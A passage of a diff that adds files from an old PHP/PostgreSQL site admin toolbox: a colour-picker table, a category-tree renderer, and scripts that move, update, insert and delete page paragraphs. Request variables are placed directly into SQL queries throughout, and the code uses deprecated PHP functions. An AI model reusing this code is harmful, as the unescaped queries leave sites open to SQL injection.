+<td bgcolor=#CC9999 onMouseOver=View('CC9999') onClick=Set('CC9999') height="10px" width="10px"></td>
+<td bgcolor=#CCCC99 onMouseOver=View('CCCC99') onClick=Set('CCCC99') height="10px" width="10px"></td>
+<td bgcolor=#CCFF99 onMouseOver=View('CCFF99') onClick=Set('CCFF99') height="10px" width="10px"></td>
+<td bgcolor=#FF0099 onMouseOver=View('FF0099') onClick=Set('FF0099') height="10px" width="10px"></td>
+<td bgcolor=#FF3399 onMouseOver=View('FF3399') onClick=Set('FF3399') height="10px" width="10px"></td>
+<td bgcolor=#FF6699 onMouseOver=View('FF6699') onClick=Set('FF6699') height="10px" width="10px"></td>
+<td bgcolor=#FF9999 onMouseOver=View('FF9999') onClick=Set('FF9999') height="10px" width="10px"></td>
+<td bgcolor=#FFCC99 onMouseOver=View('FFCC99') onClick=Set('FFCC99') height="10px" width="10px"></td>
+<td bgcolor=#FFFF99 onMouseOver=View('FFFF99') onClick=Set('FFFF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900CC onMouseOver=View('9900CC') onClick=Set('9900CC') height="10px" width="10px"></td>
+<td bgcolor=#9933CC onMouseOver=View('9933CC') onClick=Set('9933CC') height="10px" width="10px"></td>
+<td bgcolor=#9966CC onMouseOver=View('9966CC') onClick=Set('9966CC') height="10px" width="10px"></td>
+<td bgcolor=#9999CC onMouseOver=View('9999CC') onClick=Set('9999CC') height="10px" width="10px"></td>
+<td bgcolor=#99CCCC onMouseOver=View('99CCCC') onClick=Set('99CCCC') height="10px" width="10px"></td>
+<td bgcolor=#99FFCC onMouseOver=View('99FFCC') onClick=Set('99FFCC') height="10px" width="10px"></td>
+<td bgcolor=#CC00CC onMouseOver=View('CC00CC') onClick=Set('CC00CC') height="10px" width="10px"></td>
+<td bgcolor=#CC33CC onMouseOver=View('CC33CC') onClick=Set('CC33CC') height="10px" width="10px"></td>
+<td bgcolor=#CC66CC onMouseOver=View('CC66CC') onClick=Set('CC66CC') height="10px" width="10px"></td>
+<td bgcolor=#CC99CC onMouseOver=View('CC99CC') onClick=Set('CC99CC') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#CCFFCC onMouseOver=View('CCFFCC') onClick=Set('CCFFCC') height="10px" width="10px"></td>
+<td bgcolor=#FF00CC onMouseOver=View('FF00CC') onClick=Set('FF00CC') height="10px" width="10px"></td>
+<td bgcolor=#FF33CC onMouseOver=View('FF33CC') onClick=Set('FF33CC') height="10px" width="10px"></td>
+<td bgcolor=#FF66CC onMouseOver=View('FF66CC') onClick=Set('FF66CC') height="10px" width="10px"></td>
+<td bgcolor=#FF99CC onMouseOver=View('FF99CC') onClick=Set('FF99CC') height="10px" width="10px"></td>
+<td bgcolor=#FFCCCC onMouseOver=View('FFCCCC') onClick=Set('FFCCCC') height="10px" width="10px"></td>
+<td bgcolor=#FFFFCC onMouseOver=View('FFFFCC') onClick=Set('FFFFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900FF onMouseOver=View('9900FF') onClick=Set('9900FF') height="10px" width="10px"></td>
+<td bgcolor=#9933FF onMouseOver=View('9933FF') onClick=Set('9933FF') height="10px" width="10px"></td>
+<td bgcolor=#9966FF onMouseOver=View('9966FF') onClick=Set('9966FF') height="10px" width="10px"></td>
+<td bgcolor=#9999FF onMouseOver=View('9999FF') onClick=Set('9999FF') height="10px" width="10px"></td>
+<td bgcolor=#99CCFF onMouseOver=View('99CCFF') onClick=Set('99CCFF') height="10px" width="10px"></td>
+<td bgcolor=#99FFFF onMouseOver=View('99FFFF') onClick=Set('99FFFF') height="10px" width="10px"></td>
+<td bgcolor=#CC00FF onMouseOver=View('CC00FF') onClick=Set('CC00FF') height="10px" width="10px"></td>
+<td bgcolor=#CC33FF onMouseOver=View('CC33FF') onClick=Set('CC33FF') height="10px" width="10px"></td>
+<td bgcolor=#CC66FF onMouseOver=View('CC66FF') onClick=Set('CC66FF') height="10px" width="10px"></td>
+<td bgcolor=#CC99FF onMouseOver=View('CC99FF') onClick=Set('CC99FF') height="10px" width="10px"></td>
+<td bgcolor=#CCCCFF onMouseOver=View('CCCCFF') onClick=Set('CCCCFF') height="10px" width="10px"></td>
+<td bgcolor=#CCFFFF onMouseOver=View('CCFFFF') onClick=Set('CCFFFF') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#FF33FF onMouseOver=View('FF33FF') onClick=Set('FF33FF') height="10px" width="10px"></td>
+<td bgcolor=#FF66FF onMouseOver=View('FF66FF') onClick=Set('FF66FF') height="10px" width="10px"></td>
+<td bgcolor=#FF99FF onMouseOver=View('FF99FF') onClick=Set('FF99FF') height="10px" width="10px"></td>
+<td bgcolor=#FFCCFF onMouseOver=View('FFCCFF') onClick=Set('FFCCFF') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+</tr>
+</table>
+
+</body></html>
--- /dev/null
+<?
+/******************************************************************************
+ *
+ * $Id: threads.phtml,v 1.1.1.1 2006/07/13 13:53:53 matrix Exp $
+ *
+ ******************************************************************************
+ *
+ * threads.phtml - php class for sorting and displaying multi
+ * level categories
+ *
+ ******************************************************************************
+ *
+ * This class takes an array of $threads sorts them based on
+ * their parent id.
+ *
+ *****************************************************************************/
+
+
+class Thread
+{
+ var $beginLevel = "<ul>";
+ var $beginLevel2 = "<ul>";
+ var $endLevel = "</ul>";
+ var $beginItem = "<li>";
+ var $beginItem2 = "<li>";
+ var $endItem = "</li>";
+ var $wholeThread;
+
+/******************************************************************************
+ *
+ * Threads(string $code = "")
+ *
+ ******************************************************************************
+ *
+ * Class constructor
+ *
+ ******************************************************************************
+ *
+ * Parameters:
+ * $code = array(
+ * beginLevel => "",
+ * endLevel => "",
+ * beginItem => "",
+ * endItem => "")
+ *
+ *
+ *
+ ******************************************************************************
+ *
+ * Return value:
+ * Returns 1 on success 0 on failure
+ *
+ *****************************************************************************/
+
+ function Thread($code="")
+ {
+ if(!empty($code))
+ {
+ $this->beginLevel = $code[beginLevel];
+ $this->beginLevel2 = $code[beginLevel2];
+ $this->endLevel = $code[endLevel];
+ $this->beginItem = $code[beginItem];
+ $this->beginItem2 = $code[beginItem2];
+ $this->endItem = $code[endItem];
+ }
+ }
+
+/******************************************************************************
+ *
+ * sortChilds(array $threads)
+ *
+ ******************************************************************************
+ *
+ * Sorts the childs under their parent
+ *
+ ******************************************************************************
+ *
+ * Parameters:
+ * $threads array();
+ *
+ ******************************************************************************
+ *
+ * Return value:
+ * Returns array $childs
+ *
+ *****************************************************************************/
+
+ function sortChilds($threads)
+ { while(list($var, $value) = each($threads))
+ $childs[$value[parent]][$value[ID]] = $value;
+ return $childs;
+ }
+
+/******************************************************************************
+ *
+ * convertToThreads(array $threads)
+ *
+ ******************************************************************************
+ *
+ * Creates the output of the sorted $threads array
+ *
+ ******************************************************************************
+ *
+ * Parameters:
+ *
+ *
+ ******************************************************************************
+ *
+ * Return value:
+ *
+ *
+ *****************************************************************************/
+
+ function convertToThread($threads, $thread)
+ {
+ static $count;
+ if( !$count )
+ {
+ $this->wholeThread .= $this->beginLevel2;
+ }
+ else
+ {
+ $this->wholeThread .= $this->beginLevel;
+ }
+ while(list($parent, $value) = each($thread))
+ {
+ if( $threads[$parent] && $value['closed'] )
+ {
+ $this->wholeThread .= $this->beginItem2;
+ $this->wholeThread .= '<a href="list_bus_category.phtml?expand='.$value['ID'].'"
+ title="Expand"><img border="0" src="images/expand.png"></a> ';
+ }
+ elseif( $threads[$parent] && !$value['closed'] )
+ {
+ $this->wholeThread .= $this->beginItem2;
+ $this->wholeThread .= '<a href="list_bus_category.phtml?fold='.$value['ID'].'"
+ title="Fold"><img border="0"src="images/collapse.png"></a> ';
+ }
+ else
+ {
+ $this->wholeThread .= $this->beginItem;
+ }
+ $count++;
+ $this->wholeThread .= " <a href=\"edit_bus_category.phtml?id=".$value['ID']."\">[Edit]</a> "
+ ."<a href=\"list_bus.phtml?catid=".$value['ID']."\">[Paragraphs]</a> "
+ ."<a target=\"_blank\" href=\"".$value['seo_url']."\">[Preview]</a>"
+ .$value[pos]
+ ."<b>".$value[active];
+ $this->wholeThread .= $value['content'] . "</b>" . $this->endItem ."\n";
+ if( $threads[$parent] && !$value['closed'] )
+ {
+ $this->convertToThread($threads, $threads[$parent]);
+ }
+ }
+ $this->wholeThread .= $this->endLevel;
+ return $this->wholeThread;
+ }
+}
+
+
+?>
--- /dev/null
+<?php
+include_once("../../setup.phtml");
+define("TOOLBOX_FLAGS",1);
+if(!$base_parent)
+ {
+ if($catid)
+ {
+ $conn = db_connect(CONN_STR);
+ $base_parent = get_parentid($catid,NULL,$conn);
+ }
+ else
+ {
+ $base_parent = 0;
+ }
+ }
+switch($base_parent)
+ {
+ default:
+ $fields[] = array( name => "id", title => "id", type => "hide");
+ $fields[] = array( name => "name", title => "Header", type => "text");
+ $fields[] = array( name => "keyword", title => "Keyword", type => "keyword");
+ //$fields[] = array( name => "address", title => "Address", type => "text");
+ //$fields[] = array( name => "city", title => "City", type => "text");
+ // $fields[] = array( name => "state", title => "State", type => "text");
+ //$fields[] = array( name => "zip", title => "Zip", type => "text");
+ // $fields[] = array( name => "phone", title => "Phone", type => "text");
+ // $fields[] = array( name => "fax", title => "Fax", type => "text");
+ // $fields[] = array( name => "email", title => "Email", type => "text");
+ // $fields[] = array( name => "urlname", title => "URL Name", type => "text");
+ // $fields[] = array( name => "url", title => "URL", type => "text");
+ //$fields[] = array( name => "Images and Descriptions", type => "seperator");
+ $fields[] = array( name => "description", title => "Description", type => "desc");
+ $fields[] = array( name => "imagename", title=> "Image Name",type => "text");
+ $fields[] = array( name => "image", title => "Image", type => "img");
+ //$fields[] = array( name => "description2", title => "Description 2", type => "desc");
+ //$fields[] = array( name => "image2name", title=> "Image Name 2",type => "text");
+ //$fields[] = array( name => "image2", title => "Image 2", type => "img");
+ //$fields[] = array( name => "description3", title => "Description 3", type => "desc");
+ //$fields[] = array( name => "image3name", title=> "Image Name 3",type => "text");
+ //$fields[] = array( name => "image3", title => "Image 3", type => "img");
+ $fields[] = array( name => "File uploads", type => "seperator");
+ $fields[] = array( name => "filename", title=> "File Name",type => "text");
+ $fields[] = array( name => "file", title => "File 1", type => "file");
+ $fields[] = array( name => "file2name", title=> "File Name 2",type => "text");
+ $fields[] = array( name => "file2", title => "File 2", type => "file");
+ $fields[] = array( name => "file3name", title=> "File Name 3",type => "text");
+ $fields[] = array( name => "file3", title => "File 3", type => "file");
+ break;
+ }
+function check_lock($id)
+{
+ if( isset( $id ) && $id != '' && is_numeric( $id ) )
+ {
+ if( file_exists( BASE.'static/'.$id.'.phtml' ) )
+ {
+ return( true );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+ else
+ {
+ return( false );
+ }
+
+}
+function sort_by_parent($data)
+ {
+ if(!is_array($data))
+ return(false);
+ foreach($data as $key=>$value)
+ {
+ $data_new[$value["parent"]][$value["id"]] = $value;
+ }
+ return($data_new);
+ }
+
+function convertParent($threads,$thread)
+ {
+ static $select,$count;
+ if(!$count)
+ $count = 0;
+ $bgcolor[] = "#ffffff";
+ $bgcolor[] = "#ffffff";
+ $bgcolor[] = "#03A9BC";
+ $bgcolor[] = "#6FD579";
+ $bgcolor[] = "#E36BCB";
+ $bgcolor[] = "#F92A23";
+ if(is_array($thread))
+ {
+ foreach($thread as $parent=>$value)
+ {
+ $color = $bgcolor[$count];
+ $select[$value["id"]]["color"] = $color;
+ $select[$value["id"]]["category"] = $value["category"];
+ $select[$value["id"]]["count"] = $count;
+
+ if(isset($threads[$parent]))
+ {
+ $count++;
+ convertParent($threads, $threads[$parent]);
+ }
+ }
+ }
+ $count--;
+ return $select;
+ }
+
+function parent_select($catid,$id,$sel_name = "parent")
+ {
+ // select catid portion
+ $qs = "SELECT id,category,parent
+ FROM bus_category
+ ORDER BY parent,pos";
+
+ $data = db_auto_get_data($qs,CONN_STR);
+ $data1 = sort_by_parent($data);
+ $select = "<select name=\"".$sel_name."\">";
+ if( $sel_name == "parent" )
+ {
+ $select .= "<option value=\"0\">--No Parent--";
+ }
+ $parts = convertParent($data1,$data1[0]);
+ if(is_array($parts))
+ {
+ foreach($parts as $key=>$value)
+ {
+ if($key != $id)
+ {
+ $bkg = $value["color"];
+ $indent = (int)$value["count"] * 10;
+ $cc = (int)$value["count"] * 2;
+ $paddman = str_repeat(" ",$cc);
+ $select .= '<option value="'.$key.'"';
+ if($key == $catid)
+ $select .= ' selected';
+ $select .= '
+ style="background-color:'.$bkg.';"';
+ $select .= '>'.$paddman.$value["category"];
+ }
+ }
+ }
+ $select .= "</select>";
+ if(CAT_LOCK && $sel_name == "parent")
+ {
+ if($catid!=0)
+ {
+ $qs = "SELECT category
+ FROM bus_category
+ WHERE id = $catid";
+
+ $res2 = db_auto_get_data($qs,CONN_STR);
+ $category = $res2['category'];
+ }
+ else
+ {
+ $category = "No Parent";
+ }
+
+ $select = $category."<input type=\"hidden\" name=\"$sel_name\" value=\"$catid\">";
+ }
+ return($select);
+ }
+$lnav["Add A New Page"] = "edit_bus_category.phtml";
+$lnav["List Pages"] = "list_bus_category.phtml";
+$lnav["List Paragraphs"] = "list_bus.phtml?catid=$catid";
+?>
--- /dev/null
+<?php
+//$Id: update_bus.phtml,v 1.1.1.1 2006/07/13 13:53:53 matrix Exp $
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+
+$description = ( trim( strip_tags( $description ) ) != "" ) ? $description :'';
+$description2 = ( trim( strip_tags( $description2 ) ) != "" ) ? $description2 :'';
+$description3 = ( trim( strip_tags( $description3 ) ) != "" ) ? $description3 :'';
+define("TABLE","bus");
+define("ID","id");
+define("SEQUENCE","bus_id_seq");
+
+$LAST = count($fields)-1;
+$location = "../list_bus.phtml?catid=$catid";
+
+http_strip($url);
+
+if( $REQUEST_METHOD == "POST" || $Command == "Move" ) {
+
+ switch($Command) {
+
+ case "Move":
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+ $qs = "SELECT pos,id
+ FROM bus_category_bus
+ WHERE id = $id";
+
+ if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $data = db_fetch_array($result,0,PGSQL_ASSOC);
+ $pos = $data['pos'];
+
+ if($newpos < $pos) {
+ $qs = "SELECT id,pos
+ FROM bus_category_bus
+ WHERE pos < $pos
+ AND pos >= $newpos
+ AND catid = $catid
+ ORDER BY pos";
+ if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($newpos + 1);
+ for($i=0;$i<db_numrows($res);$i++) {
+ $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category_bus
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ else {
+ $qs = "SELECT pos,id
+ FROM bus_category_bus
+ WHERE pos > $pos
+ AND pos <= $newpos
+ AND catid = $catid
+ ORDER BY pos";
+
+ if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $counter = ($pos);
+ for($i=0;$i<db_numrows($res);$i++) {
+ $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category_bus
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ $qs = "UPDATE bus_category_bus
+ SET pos = $newpos
+ WHERE id = $id";
+
+ if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $location = "list_bus.phtml?catid=$catid";
+ break;
+
+ case "Update":
+ $oldcatid = ereg_replace("^:","",$oldcatid);
+ $oldcatid = split(":",$oldcatid);
+
+ if($category)
+ {
+ $category = ereg_replace("^:","",$category);
+ $catid = split(":",$category);
+ }
+/*
+ echo "<pre>";
+ //print_r($_POST);
+ print_r($oldcatid);
+ print_r($catid);
+ echo "</pre>";
+ //echo "oldcatid = $oldcatid[0]<br>";
+ //echo "catid = $catid[0]<br>";
+*/
+ if(!$dbd = db_connect())
+ html_error(DB_ERROR_MSG,0);
+ db_exec($dbd,"BEGIN WORK");
+
+ $array_counter = 0;
+ if(is_array($catid))
+ {
+
+ $query = "select catid,pos from bus_category_bus where busid = $id";
+ $res = db_exec($dbd,$query);
+ $oldpos = pg_result($res,0,'pos');
+ while( $row = pg_fetch_array( $res ) )
+ {
+ // do this only if ald catid is being removed
+ if( !in_array( $row['catid'],$catid ) )
+ {
+ $query = "update bus_category_bus set pos = pos - 1 where catid = ".$row['catid']." and pos >= $oldpos";
+//echo $query.'<br>';
+ db_exec($dbd,$query);
+ $query = "delete from bus_category_bus where catid = ".$row['catid']." and busid = $id";
+//echo $query.'<br>';
+ db_exec($dbd,$query);
+ }
+
+ }
+
+ foreach($catid as $key=>$value)
+ {
+
+ // do this only if ald catid is being removed
+ if( !in_array( $value,$oldcatid ) )
+ {
+ $qs = "SELECT count(*) as maxpos
+ FROM bus_category_bus
+ WHERE catid = $value";
+
+ if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ $pos = ( $row['maxpos'] == 0 ) ? (int)0 : (int)$row['maxpos'] ;
+ $pos++;
+
+ $qs = "INSERT
+ INTO bus_category_bus
+ (busid,catid,pos)
+ VALUES ($id,$value,$pos)";
+ //echo $qs.'<br>';
+ if(!db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ }
+ }
+ }
+ //exit();
+ $fields = array_reverse($fields);
+ $qs = "UPDATE ".TABLE." SET ";
+ for($i=0;$i<count($fields);$i++)
+ {
+ if($fields[$i][type]=="date")
+ {
+ $month = $fields[$i][name]."_month";
+ $day = $fields[$i][name]."_day";
+ $year = $fields[$i][name]."_year";
+ $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
+ $qs .= $fields[$i][name]." = '$date'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][type]=="datetime")
+ {
+ $month = $fields[$i][name]."_month";
+ $day = $fields[$i][name]."_day";
+ $year = $fields[$i][name]."_year";
+ $H = $fields[$i][name]."_hour";
+ $mm = $fields[$i][name]."_mm";
+ if($$mm == "PM")
+ $$H = $$H + 12;
+ $m = $fields[$i][name]."_min";
+ $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+ $qs .= $fields[$i][name]." = '$date'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][name]!=ID)
+ {
+ if($fields[$i][type]=="img")
+ {
+ $tmpimg = $fields[$i]['name'];
+ $image_tmp = $$tmpimg;
+ $oldy = ${"old".$tmpimg};
+ $image_tmp_name = ${$tmpimg."_name"};
+ if($image_tmp == "none" || $image_tmp == "")
+ {
+ $image_tmp_name = $oldy;
+ }
+ else
+ {
+ $image_tmp_name = process_image($image_tmp,$image_tmp_name);
+ @unlink(ORIGINAL_PATH.$oldy);
+ @unlink(RESIZED_PATH.$oldy);
+ @unlink(THUMB_PATH.$oldy);
+ @unlink(MIDSIZED_PATH.$oldy);
+ }
+ $delete = ${"delete".$tmpimg};
+ if($delete==1)
+ {
+ $image_tmp_name = "";
+ @unlink(ORIGINAL_PATH.$oldy);
+ @unlink(RESIZED_PATH.$oldy);
+ @unlink(THUMB_PATH.$oldy);
+ @unlink(MIDSIZED_PATH.$oldy);
+ }
+ $qs .= $fields[$i][name]." = '".$image_tmp_name."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][type]=="seperator")
+ {
+ //empty
+ }
+ elseif($fields[$i][type]=="file")
+ {
+ $tmpfile = $fields[$i]['name'];
+ $file_tmp = $$tmpfile;
+ $oldy = ${"old".$tmpfile};
+ $file_tmp_name = ${$tmpfile."_name"};
+ if($file_tmp == "none" || $file_tmp == "")
+ {
+ $file_tmp_name = $oldy;
+ }
+ else
+ {
+ $file_tmp_name = file_upload($file_tmp,$file_tmp_name,UP_BASE);
+ }
+
+ $delete = ${"delete".$tmpfile};
+ if($delete==1)
+ {
+ $file_tmp_name = "";
+ @unlink(UP_BASE.$oldy);
+ }
+ $qs .= $fields[$i][name]." = '".$file_tmp_name."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ elseif($fields[$i][type]=="static")
+ {
+ }
+ elseif($fields[$i][type]=="password")
+ {
+ if(($password && $password2) && ($password == $password2))
+ {
+ $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ }
+ else
+ {
+ $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+ if($i != $LAST)
+ $qs .= ",";
+ }
+ }
+ else
+ {
+ $qs = substr($qs,0,strlen($qs)-1);
+ $qs .= " WHERE ".$fields[$i][name]." = ".$$fields[$i][name];
+ }
+ }
+ $fields = array_reverse($fields);
+//echo $qs;
+//exit;
+ if(!db_exec($dbd,$qs))
+ $ERRORS .= pg_errormessage($dbd).$qs;
+ $location = "list_bus.phtml?catid=".$catid[0]."&".SID;
+ db_exec($dbd,"COMMIT WORK");
+ break;
+
+ case "Insert":
+ if($category)
+ {
+ $category = ereg_replace("^:","",$category);
+ $catid = split(":",$category);
+ }
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+ $tmp = "";
+ $tmp_value = "";
+ for($i=0;$i<count($fields);$i++)
+ {
+ if($fields[$i][name]!=ID)
+ {
+ if($fields[$i][type]!="static" && $fields[$i][type]!="seperator")
+ {
+ $tmp .= $fields[$i][name];
+ $tmp .= ",";
+ }
+ }
+ }
+ for($i=0;$i<count($fields);$i++)
+ {
+ if($fields[$i][type]=="date")
+ {
+ $month = $fields[$i][name]."_month";
+ $day = $fields[$i][name]."_day";
+ $year = $fields[$i][name]."_year";
+ $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
+ $tmp_value .= "'$date'";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][type]=="static")
+ {
+ }
+ elseif($fields[$i][type]=="seperator")
+ {
+ }
+ elseif($fields[$i][type]=="datetime")
+ {
+ $month = $fields[$i][name]."_month";
+ $day = $fields[$i][name]."_day";
+ $year = $fields[$i][name]."_year";
+ $H = $fields[$i][name]."_hour";
+ $mm = $fields[$i][name]."_mm";
+ if($$mm == "PM")
+ $$H = $$H + 12;
+ $m = $fields[$i][name]."_min";
+ $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+ $tmp_value .= "'$date'";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][type]=="img")
+ {
+ $tmpimg = $fields[$i]['name'];
+ $image = $$tmpimg;
+ $image_name = ${$tmpimg."_name"};
+ if($image == "none" || $image == "")
+ {
+ $image_name = '';
+ }
+ else
+ {
+ $image_name = process_image($image,$image_name);
+ }
+ $tmp_value .= "'".$image_name."'";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][type]=="file")
+ {
+ $tmpfile = $fields[$i]['name'];
+ $file = $$tmpfile;
+ $file_name = ${$tmpfile."_name"};
+ if($file == "none" || $file == "")
+ {
+ $file_name = '';
+ }
+ else
+ {
+ $file_name = file_upload($file,$file_name,UP_BASE);
+ }
+ $tmp_value .= "'".$file_name."'";
+ $tmp_value .= ",";
+ }
+ elseif($fields[$i][name]!=ID)
+ {
+ $tmp_value .= "'".$$fields[$i][name]."'";
+ $tmp_value .= ",";
+ }
+ }
+ // get the lat and lon for bus
+
+ // check for all blanks
+ $tmp_blank = str_replace("'","",$tmp_value);
+ $tmp_blank = str_replace(",","",$tmp_blank);
+ $tmp = substr($tmp,0,strlen($tmp)-1);
+ $tmp_value = substr($tmp_value,0,strlen($tmp_value)-1);
+ if(!$res = db_exec($dbd,"BEGIN WORK"))
+ die( pg_errormessage($dbd).$qs );
+ if($tmp_blank)
+ {
+ $qs = "INSERT INTO ".TABLE."
+ (".ID.", $tmp )
+ VALUES
+ (nextval('".SEQUENCE."'), $tmp_value)";
+ if(!$res = db_exec($dbd,$qs))
+ {
+ die( pg_errormessage($dbd).$qs );
+ }
+ if(!$oid = pg_GetLastOid($res))
+ {
+ die( pg_errormessage($dbd).$qs );
+ html_error("CANT GET LAST OID",1);
+ }
+
+ $qs = "SELECT id
+ FROM bus
+ WHERE oid = $oid";
+ if(!$res = db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ if(is_array($catid))
+ {
+ foreach($catid as $key=>$value)
+ {
+ $qs = "SELECT count(*) as maxpos
+ FROM bus_category_bus
+ WHERE catid = $value";
+
+ if(!$res = db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+
+ $row2 = db_fetch_array($res,0,PGSQL_ASSOC);
+ if( !$pos = $row2[maxpos])
+ {
+ $pos = 1;
+ }
+ else
+ {
+ $pos++;
+ }
+
+ $qs = "INSERT
+ INTO bus_category_bus
+ (busid,catid,pos)
+ VALUES ($row[id],$value,$pos)";
+
+ if(!db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ if(!$res = db_exec($dbd,"COMMIT WORK"))
+ {
+ die( pg_errormessage($dbd).$qs );
+ }
+ }
+ }
+ else
+ {
+ $qs = "SELECT count(*) as maxpos
+ FROM bus_category_bus
+ WHERE catid = $catid";
+
+ if(!$res = db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+
+ $row2 = db_fetch_array($res,0,PGSQL_ASSOC);
+ if( !$pos = $row2[maxpos])
+ {
+ $pos = 1;
+ }
+ else
+ {
+ $pos++;
+ }
+ $qs = "INSERT
+ INTO bus_category_bus
+ (busid,catid,pos)
+ VALUES ($row[id],$catid,$pos)";
+
+ if(!db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ if(!$res = db_exec($dbd,"COMMIT WORK"))
+ {
+ die( pg_errormessage($dbd).$qs );
+ }
+ }
+ }
+ $location = "list_bus.phtml?catid=".$catid[0]."&".SID;
+
+ break;
+
+ case "Delete":
+ $oldcatid = ereg_replace("^:","",$oldcatid);
+ $oldcatid = split(":",$oldcatid);
+
+ $qs = "DELETE FROM bus
+ WHERE id = $id";
+ if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage2);
+ @unlink(RESIZED_PATH.$oldimage2);
+ @unlink(THUMB_PATH.$oldimage2);
+ @unlink(MIDSIZED_PATH.$oldimage2);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage3);
+ @unlink(RESIZED_PATH.$oldimage3);
+ @unlink(THUMB_PATH.$oldimage3);
+ @unlink(MIDSIZED_PATH.$oldimage3);
+
+ @unlink(UP_BASE.$oldfile);
+ @unlink(UP_BASE.$oldfile2);
+ @unlink(UP_BASE.$oldfile3);
+ $dbd = db_connect();
+
+ if(!$dbd) html_erro(DB_ERROR_MSG,1);
+
+ foreach($oldcatid as $key=>$value){
+ $qs = "SELECT id,pos
+ FROM bus_category_bus
+ WHERE busid = $id";
+
+ if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+
+ $qs = "SELECT id
+ FROM bus_category_bus
+ WHERE pos > $row[pos]
+ AND catid = $value
+ ORDER BY pos";
+
+ if(!$res2 = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+
+ $counter = $row[pos];
+ for($i=0;$i<db_numrows($res2);$i++) {
+ $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+
+ $qs = "UPDATE bus_category_bus
+ SET pos = $counter
+ WHERE id = $row2[id]";
+
+ if(!db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+ $counter++;
+ }
+ }
+ $qs = "DELETE
+ FROM bus_category_bus
+ WHERE busid = $id";
+
+ if(!db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+ $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID;
+ break;
+
+ case "Cancel":
+ $oldcatid = ereg_replace("^:","",$oldcatid);
+ $oldcatid = split(":",$oldcatid);
